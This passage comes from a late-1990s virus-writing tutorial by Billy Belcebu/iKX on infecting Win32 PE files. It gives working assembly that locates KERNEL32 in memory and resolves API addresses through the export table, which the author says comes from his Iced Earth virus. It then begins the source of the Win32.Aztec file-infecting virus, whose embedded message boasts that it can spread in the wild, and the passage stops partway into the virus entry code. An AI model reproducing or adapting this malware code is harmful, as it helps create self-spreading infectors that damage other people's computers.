]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, simple. We have in EAX a value approximately as BFF8XXXX (XXXX is an unimportant value, it's put as this because it's not required to know it exactly, don't annoy me with silly things like that ones ;). As Win32 platf- orms ussually round up to a page all, we can search for the beginning of any page, and as the KERNEL32 header is just in the beginning of a page, we can check easily for it. And when we found this PE header i am talking about, we know KERNEL32 base address. Hrmm, as limit we could establish 50h pages. Hehe, don't worry. Some code follows ;) ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .586p .model flat extrn ExitProcess:PROC .data limit equ 5 db 0 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Unuseful and non-substance data :) ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; .code test: call delta delta: pop ebp sub ebp,offset delta mov esi,[esp] and esi,0FFFF0000h call GetK32 push 00000000h call ExitProcess ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Ehrm, i consider you at least a normal ASM coder, so i consider you know ; ; that the first block of instructions is for get delta offset (well, not ; ; needed in particular in this example, anyway i like to make this to be ; ; as the likeness of virus code). Well, the second block is what is inte- ; ; resting for us. We put in ESI the address from our application is called ; ; that is in the address shown by ESP (if we don't touch the stack after ; ; program loading, of course). The second instruction, that AND, is for ; ; get the beginning of the page from our code is being called. We call our ; ; routine, and after that we terminate process ;) ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; GetK32: __1: cmp byte ptr [ebp+K32_Limit],00h jz WeFailed cmp word ptr [esi],"ZM" jz CheckPE __2: sub esi,10000h dec byte ptr [ebp+K32_Limit] jmp __1 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Firstly we check if we passed our limit (of 50 pages). After that we ; ; check if in the beginning of the page (as it should be) is the MZ sign, ; ; and if found we go for check for PE header. If not, we substract 10 page ; ; (10000h bytes), we decrease the limit variable, and search again ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jz WeGotK32 jmp __2 WeFailed: mov esi,0BFF70000h WeGotK32: xchg eax,esi ret K32_Limit dw limit ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; We get the value from offset 3Ch from MZ header (handles the address RVA ; ; of where begins the PE header), we normalize this value with the address ; ; of the page, and if the memory address marked by this offset is the PE ; ; mark, we assume that we found that... and indeed we did!) ;) ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; end test ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ A recommendation: i tested it and it didn't gave me any kind of problem in Win98 and WinNT4 with SP3, anyway, as i don't know what could happen every- where, i recommend you to use SEH in order to avoid possible Page Faults (and their correspondent blue screen). SEH will be explained in a later lesson. Heh, the method used by Lord Julus in his tutes (searching for GetModuleHandleA in the infected file) wasn't very effective to my needs, anyway i will present my own version of that code where i explain how to play with the import. For example, it has usage in per-process resident vi- ruses, with little changes in the routine ;) % Get those crazy APIs!!! % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The Ring-3 is, as i said in the chapter of introduction, the user level, so we can access only to its limited privileges. I.e. we can't use ports, read or write to determinated memory areas, etc. Micro$oft based their affirmati- ons when developing Win95 (that ones that said moreless "Win32 platformz are uninfectable") in the fact that if they suppress all what viriis used to ma- ke, they could defeat us. In their dreams. They thought that we couldn't use their APIs, and moreover, they couldn't imaginate that we could jump to Ring-0, but this is another history. Well, as you said before, we had the API name as extern, so import32.lib gave us the address of the function, and it's assembled properly in the code but we have a problem when writing virus. If we hardcode (name that we give when we use a fixed offset for call an API) the most probably thing that could happen is that that address won't work in the next Win32 version. You have an example in Bizatch. What should we do? Well, we have a function called GetProcAddress, that returns us the offset of where is the API we want. As you are inteligent, you might have noticed that GetProcAddress is an API too, so how the fuck we can use an API for search for APIs if we don't have that API? As all in life, we have many possibilities to do, and i'll name the two ones i think are better: 1. Search for GetProcAddress API in the Exports table. 2. When we infect a file, look in its imported functions for GetProcAddress. As the easiest way is the first one, guess what i am going to explain now :) Ok, let's begin with theory lessons, and after that, sum coding. If you take a look to the PE header format, we have in the offset 78h (of PE header, not file) the RVA of the exports table. Ok, we need to take the address of the exports of the kernel. For Windows 95/98, kernel uses to be at offset 0BFF70000h,and in Windows NT the kernel seems to be at 077F00000h. In Win2k we have it at offset 077E00000h.So,first of all we load its address in the register we are going to use as pointer. I strongly recommend ESI, mainly because we can optimize something by using LODSD. Well, we check if in the address we put the first thing we have is the ussual "MZ" word (well, "ZM" when reversed, goddamn intel processor architecture :), because the kernel is a library (.DLL), and libraries have a PE header, and as we saw before, when seeing the PE header, is part of the DOS-compatible stuff. After that comparison, let's check if its PE, so we look to header offset image_base+[3Ch] (=the offset of where the kernel is located+the address shown by KERNEL's PE header 3Ch offset), and compare seeking for "PE\0\0", the PE signature. If all is right, then let's go for it. We need the RVA of the export table. As you can see, it's in offset 78h of the PE header. So we get it. But, as you know, the RVA (Relative Virtual Address), as its name indicates, is relative to an offset, in this case the image base of the kernel, that is it's location, as i said before. As simple as this: just add the kernel offset to the found value in Export Table RVA. Ok. We are now in the export table :) Let's see its format: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +00000000h ³ Export Flags ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000004h ³ Time/Date stamp ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000006h ³ Major version ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000008h ³ Minor version ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000000Ch ³ Name RVA ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000010h ³ Number Of Exported Functions ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000014h ³ Number Of Exported Names ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000018h ³ Export Address Table RVA ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000001Ch ³ Export Name Pointers Table RVA ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000020h ³ Export Ordinals RVA ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄ Total Size : 24h BYTES The important for us are the last 6 fields. The values on the Address Table RVA, Name Pointers RVA and Ordinals RVA are all relative to KERNEL32's base address, as you can imagine. So, the first step for get an API address is to know the possition that this API occupies, and the easiest way for know it is looking into the Name Pointers' indicated offset, compare the string with the API we want, and if it's exactly equal we try to calculate API's offset. Well, we arrived here and we have a value in the counter, just because we increase it each time we check for API's name. Well, this counter, as you can imagine, will hold the API names we have already seen and they don't match. The counter could be a word or a dword, but never could be a byte, because we have much more APIs than 255 :) NOTE: I assume you stored in its correspondent variables the VA (RVA+kernel image base) of Address, Name and Ordinal tables. Ok, imagine we have already get the name of the API we want, so we have in the counter the possition it occupies in the Name Pointers table. Well, now comes maybe the most complicated for you, beginner on Win32 coding. Hmm, let's continue with this. We get the counter, and we have to search now in the Ordinal Table (an array of dwords) the ordinal of the API we want to get. As we have the number that the API occupies in the array (in counter) we only have to multiply it by 2 (remember, the array of Ordinals is made of words, so we must make the calculation for work with words...), and of cour- se, add to it where begins (its beginning offset) the Ordinal Table. For resume what i have just explained, we need the word pointed by the following formula: API's Ordinal location: ( counter * 2 ) + Ordinal Table VA Simple, isn't it? Well, the next step (and the last one) is to get API's definitive address from the Address Table. We already have API's ordinal, right? With it, our life is very easy. We have just to multiply the ordinal by 4 (as the addresses array are formed by dwords instead of words, and a dword size is 4) and add to it the offset of beginning of Address Table, that we get earlier. Hehe, now we have the API Address RVA. So we have to normalize it, adding the kernel offset, and that's all. We got it!!!! Let's see the mathematical formula for this: API's Address: ( API's Ordinal * 4 ) + Address Table VA + KERNEL32 imagebase ÚÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ So, as we retrieve the position ³ EntryPoint ³ Ordinal ³ Name ³ that occupies the string in the ÆÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ Names table, we can know its ³ 00005090 ³ 0001 ³ AddAtomA ³ ordinal (each name has an ordi- ÆÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ nal that is in the same position ³ 00005100 ³ 0002 ³ AddAtomW ³ than the API name), and knowing ÆÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ the ordinal, we can know its ³ 00025540 ³ 0003 ³ AddConsoleAliasA ³ Address, that is, its entrypoint ÆÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ RVA. We normalize it, and voila, ³ 00025500 ³ 0004 ³ AddConsoleAliasW ³ you have what you need, the \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ required API address. [...] These tables have more entries, but with that ones is enough... I hope you understood what i have explained. I tried to say it as simple as i could, if you don't understand it, don't pass this line, and re-read it step by step. Be patient. I'm sure you'll get it. Hmmm, maybe what you need now is some code, for see this in action. Here you have my routines, used, for exaple, in my Iced Earth virus. ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; GetAPI & GetAPIs procedures ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; These are my procedures to find all required APIs... They are divided in 2 ; parts. GetAPI procedure gets only the API we tell to it, and GetAPIs proce- ; dure is which searches all APIs needed by the virus. ; GetAPI proc ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Ok, let's rock. The parameters that this function needs and returns are ; ; the following: ; ; ; ; INPUT  ESI : Pointer to the API name (case sensitive) ; ; OUTPUT  EAX : API address ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; mov edx,esi ; Save ptr to name @_1: cmp byte ptr [esi],0 ; Null-terminated char? jz @_2 ; Yeah, we got it. inc esi ; Nopes, continue searching jmp @_1 ; bloooopz... @_2: inc esi ; heh, don't forget this ;) sub esi,edx ; ESI = API Name size mov ecx,esi ; ECX = ESI :) ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Well, well, my dear pupils. This is very easy to understand. We had in ; ; ESI the pointer to the beginning of API's name. Let's imagine we are ; ; looking for "FindFirstFileA": ; ; ; ; FFFA db "FindFirstFileA",0 ; ; ÀÄ Pointer is there ; ; ; ; And we need to preserve this pointer, and know API's name size, so we ; ; preserve the initial pointer to API name in a register such as EDX that ; ; we won't use. And then it increases the pointer in ESI until [ESI] = 0. ; ; ; ; FFFA db "FindFirstFileA",0 ; ; ÀÄ Pointer is here now ; ; ; ; That is, null terminated :) Then, by substracting the old pointer to the ; ; new pointer, we get the API Name size, needed by the search engine. And ; ; then i store it in ECX, another register that won't be used for another ; ; matter. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; xor eax,eax ; EAX = 0 mov word ptr [ebp+Counter],ax ; Counter set to 0 mov esi,[ebp+kernel] ; Get kernel's PE head. offset add esi,3Ch lodsw ; in AX add eax,[ebp+kernel] ; Normalize it mov esi,[eax+78h] ; Get Export Table RVA add esi,[ebp+kernel] ; Ptr to Address Table RVA add esi,1Ch ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Well, firstly we clear EAX, and then make the counter variable to be 0, ; ; for avoid unexpected errors. If you remember what did the offset 3Ch of ; ; a PE file (counting from image base, MZ mark), you'll undestand this. We ; ; are requesting for the beginning of KERNEL32 PE header offset. Well, as ; ; it is an RVA, we normalize it and voila, we have it's PE header offset. ; ; What we do now is to get the Export Table address (in PE Header+78h), ; ; and after that we avoid the not wanted data of the structure, and get ; ; directly the Address Table RVA. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; lodsd ; EAX = Address Table RVA add eax,[ebp+kernel] ; Normalize mov dword ptr [ebp+AddressTableVA],eax ; Store it in VA form lodsd ; EAX = Name Ptrz Table RVA add eax,[ebp+kernel] ; Normalize push eax ; mov [ebp+NameTableVA],eax lodsd ; EAX = Ordinal Table RVA add eax,[ebp+kernel] ; Normalize mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form pop esi ; ESI = Name Ptrz Table VA ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; If you remember, we had in ESI the pointer to Address Table RVA, so we, ; ; for get that address, make a LODSD, that puts the DWORD located by ESI ; ; in accumulator, that is EAX. As it was a RVA, we need to normalize it. ; ; ; ; Let's see what Matt Pietrek says about this first field: ; ; ; ; "This field is an RVA and points to an array of function addresses. The ; ; function addresses are the entry points (RVA) for each exported function ; ; in this module". ; ; ; ; And of course, we store it in its variable. After that, the next we re- ; ; trieve is the Name Pointers Table, Matt Pietrek description follows: ; ; ; ; "This field is an RVA and points to an array of string pointers. The ; ; strings are the names of the exported functions in this module". ; ; ; ; But i didn't store it in a variable, i pushed it, just because i'm gonna ; ; use it very soon. Well, and finally we retrieve ; and here goes Matt Pietrek's description about it: ; ; ; ; "This field is an RVA and points to an array of WORDs. The WORDs are the ; ; export ordinals of all the exported functions in this module". ; ; ; ; Well, that's what we done. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; @_3: push esi ; Save ESI for l8r restore lodsd ; Get value ptr ESI in EAX add eax,[ebp+kernel] ; Normalize mov esi,eax ; ESI = VA of API name mov edi,edx ; EDI = ptr to wanted API push ecx ; ECX = API size cld ; Clear direction flag rep cmpsb ; Compare both API names pop ecx ; Restore ECX jz @_4 ; Jump if APIs are 100% equal pop esi ; Restore ESI add esi,4 ; And get next value of array inc word ptr [ebp+Counter] ; Increase counter jmp @_3 ; Loop again ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Heh, ain't my style to put too much code without comment, as i have just ; ; done, but understand that this block of code can't be separated for ex- ; ; plain it. What we do firstly is to push ESI (that gets changed inside ; ; the code by CMPSB instruction) for later restore. After that, we get the ; ; DWORD pointed by ESI (Name Pointerz Table) in the accumulator (EAX), all ; ; this performed by the LODSD intruction. We normalize it by adding kernel ; ; base address. Well, now we have in EAX a pointer to a name of one API, ; ; but we don't know (still) what API is. For example, EAX could point to ; ; something like "CreateProcessA" and this API is uninteresting for our ; ; virus... Well, for compare that string with the one we want (pointed now ; ; by EDX) we have CMPSB. So we prepare its parameters: in ESI we put the ; ; pointer to the beginning to the API now in the Name Pointerz Table, and ; ; in EDI we put the pointer to the desired API). In ECX we put its size, ; ; and then we compare byte per byte. If all the string is equal, the zero ; ; flag is set, and we jump to the routine for get the address of that API, ; ; but if it failed, we restore ESI, and add to it the size of a DWORD in ; ; order to get the next value in the Name Pointerz Table array. We incre- ; ; ase the counter (VERY IMPORTANT) and we continue searching. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; @_4: pop esi ; Avoid shit in stack movzx eax,word ptr [ebp+Counter] ; Get in AX the counter shl eax,1 ; EAX = AX * 2 add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize xor esi,esi ; Clear ESI xchg eax,esi ; EAX = 0, ESI = ptr to Ord lodsw ; Get Ordinal in AX shl eax,2 ; EAX = AX * 4 add eax,dword ptr [ebp+AddressTableVA] ; Normalize mov esi,eax ; ESI = ptr to Address RVA lodsd ; EAX = Address RVA add eax,[ebp+kernel] ; Normalize and all is done. ret ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Pfff, another huge code block, and seems ununderstandable, right? Heh, ; ; don't worry, i'm going to comment it ;) ; ; Ehrm, the pop is simply for clear the stack, as if the API names matched ; ; we have shit in it. We move in the lower part of EAX the value of the ; ; counter (as it it a WORD) and make zero the high part of said register. ; ; We multimply it per two, as we only have the number it occupies, and the ; ; array where we'll search is an array of WORDs. Now we add to it the po- ; ; inter to the beginning of the array where we want to search, and in EAX ; ; we have the pointer to the ordinal of the API we want. So we put EAX in ; ; ESI for use that pointer in order to get the value pointed, that is, the ; ; Ordinal in EAX, with a simple LODSW. Heh, we have the Ordinal, but what ; ; we want is the EntryPoint of the code of the API, so we multiply the or- ; ; dinal (that holds the position that the EntryPoint of the wanted API ; ; occupies in Address Table) per 4, that is the DWORD size, and we have ; ; a RVA value, relative to the AddressTable RVA, so we normalize, and now ; ; we have in EAX the pointer to the value of the EntryPoint of the API in ; ; the Address Table. We put EAX in ESI, and we get the value pointed ; ; in EAX. So we have in EAX the EntryPoint RVA of the wanted API. Heh, the ; ; thing that we must do now is to normalize that address with KERNEL32's ; ; image base, and voila, it is done, we have the real and original API ; ; address in EAX!!! ;) ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; GetAPI endp ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; GetAPIs proc ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Ok, this is the code for get ALL the APIs by using the procedure descri- ; ; bed before. It's parameters are: ; ; ; ; INPUT  ESI : Pointer to the first wanted API name in ASCIIz ; ;  EDI : Pointer to the variable that will hold first wanted API ; ; OUTPUT  Nothing. ; ; ; ; Well, the structure i assume for get all those values is the following ; ; one: ; ; ; ; ESI points to ÄÄ db "FindFirstFileA",0 ; ; db "FindNextFileA",0 ; ; db "CloseHandle",0 ; ; [...] ; ; db 0BBh ; Marks the end of this array ; ; ; ; EDI points to ÄÄ dd 00000000h ; Future address of FFFA ; ; dd 00000000h ; Future address of FNFA ; ; dd 00000000h ; Future address of CH ; ; [...] ; ; ; ; I hope you are enough clever and you catched it. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; @@1: push esi push edi call GetAPI pop edi pop esi stosd ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; We push the values we handle in this procedure to avoid their change, ; ; and we call to GetAPI procedure. We assume at this point ESI as a ptr to ; ; the wanted API name, and EDI as the pointer to the variable that will ; ; handle the API name. As the function returns us API offset in EAX, we ; ; save it in its correspondent vzriable pointed by EDI with a simple STOSD ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; @@2: cmp byte ptr [esi],0 jz @@3 inc esi jmp @@2 @@3: cmp byte ptr [esi+1],0BBh jz @@4 inc esi jmp @@1 @@4: ret GetAPIs endp ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Could be done much more optimized, i know, but works for my explanation. ; ; Well, what we do firstly is to reach the end of the string of what we ; ; asked the address before, and now it points to the next API. But we want ; ; to know if it is the last API, so we check for our mark, the byte 0BBh ; ; (Guess why is 0BBh?). If it is, we got all needed APIs, and if not, we ; ; continue our search. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Heh, i wrote those procedures as easy as i could, and i commented them a lot expecting that you will understand the concept without copying. And if you copy ain't my problem... hehe, i don't give a shit about it :) But, now the question raised is for what APIs we should search, and this matter depends of the way of arrive just to before the PE manipulation. As i will show you a direct action (aka runtime) version of a virus that uses the file mapping technique (more easily manipulable and more fast way of infection), i will present you the APIs that you could use. % An example virus % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Don't believe that i am crazy. I will put here the code of a virus simply for avoid the boring explanation of all API thingies all together, thus also seeing them in action :) Well, here you have one of my last creations. I took one afternoon to be finished: i based it in Win95.Iced Earth, but without bugs and special features. Enjoy this Win32.Aztec! (Yeah, Win32!!!). ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; [Win32.Aztec v1.01] - Bugfixed lite version of Iced Earth ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; Virus Name : Aztec v1.01 ; Virus Author : Billy Belcebu/iKX ; Origin : Spain ; Platform : Win32 ; Target : PE files ; Compiling : TASM 5.0 and TLINK 5.0 should be used ; tasm32 /ml /m3 aztec,,; ; tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib, ; pewrsec aztec.exe ; Notes : Anything special this time. Simply a heavy bug-fixing of ; Iced Earth virus, and removed any special feature on ; purpose. This is really a virus for learn Win32. ; Why 'Aztec'? : Why that name? Many reasons: ; ù If there is an Inca virus and a Maya virus... ;) ; ù I lived in Mexico six months of my life ; ù I hate the fascist way that Hernan Cortes used for steal ; their territory to the Aztecs ; ù I like the kind of mithology they had ;) ; ù My shitty soundcard is an Aztec :) ; ù I love Salma Hayek! :)~ ; ù KidChaos is a friend :) ; Greetings : Well, this time only greets to all the ppl at EZLN & MRTA. ; Good luck all, and... keep'on fighting! ; ; (c) 1999 Billy Belcebu/iKX .386p ; 386+ required =) .model flat ; 32 bit registers, no segs. jumps ; For avoid jumps out of range extrn MessageBoxA:PROC ; 1st generation imported extrn ExitProcess:PROC ; APIs :) ; Some equates useful for the virus virus_size equ (offset virus_end-offset virus_start) heap_size equ (offset heap_end-offset heap_start) total_size equ virus_size+heap_size shit_size equ (offset delta-offset aztec) ; Only hardcoded for 1st generation, don't worry ;) kernel_ equ 0BFF70000h kernel_wNT equ 077F00000h .data szTitle db "[Win32.Aztec v1.01]",0 szMessage db "Aztec is a bugfixed version of my Iced Earth",10 db "virus, with some optimizations and with some",10 db "'special' features removed. Anyway, it will",10 db "be able to spread in the wild succefully :)",10,10 db "(c) 1999 by Billy Belcebu/iKX",0 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; All this is a shit: there are some macros for make the code more good- ; ; looking, and there is some stuff for the first generation, etc. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; .code virus_start label byte aztec: pushad ; Push all the registers pushfd ; Push the FLAG register call delta ; Hardest code to undestand ;) delta: pop ebp mov eax,ebp sub ebp,offset delta sub eax,shit_size ; Obtain the Image Base on sub eax,00001000h ; the fly NewEIP equ $-4 mov dword ptr [ebp+ModBase],eax 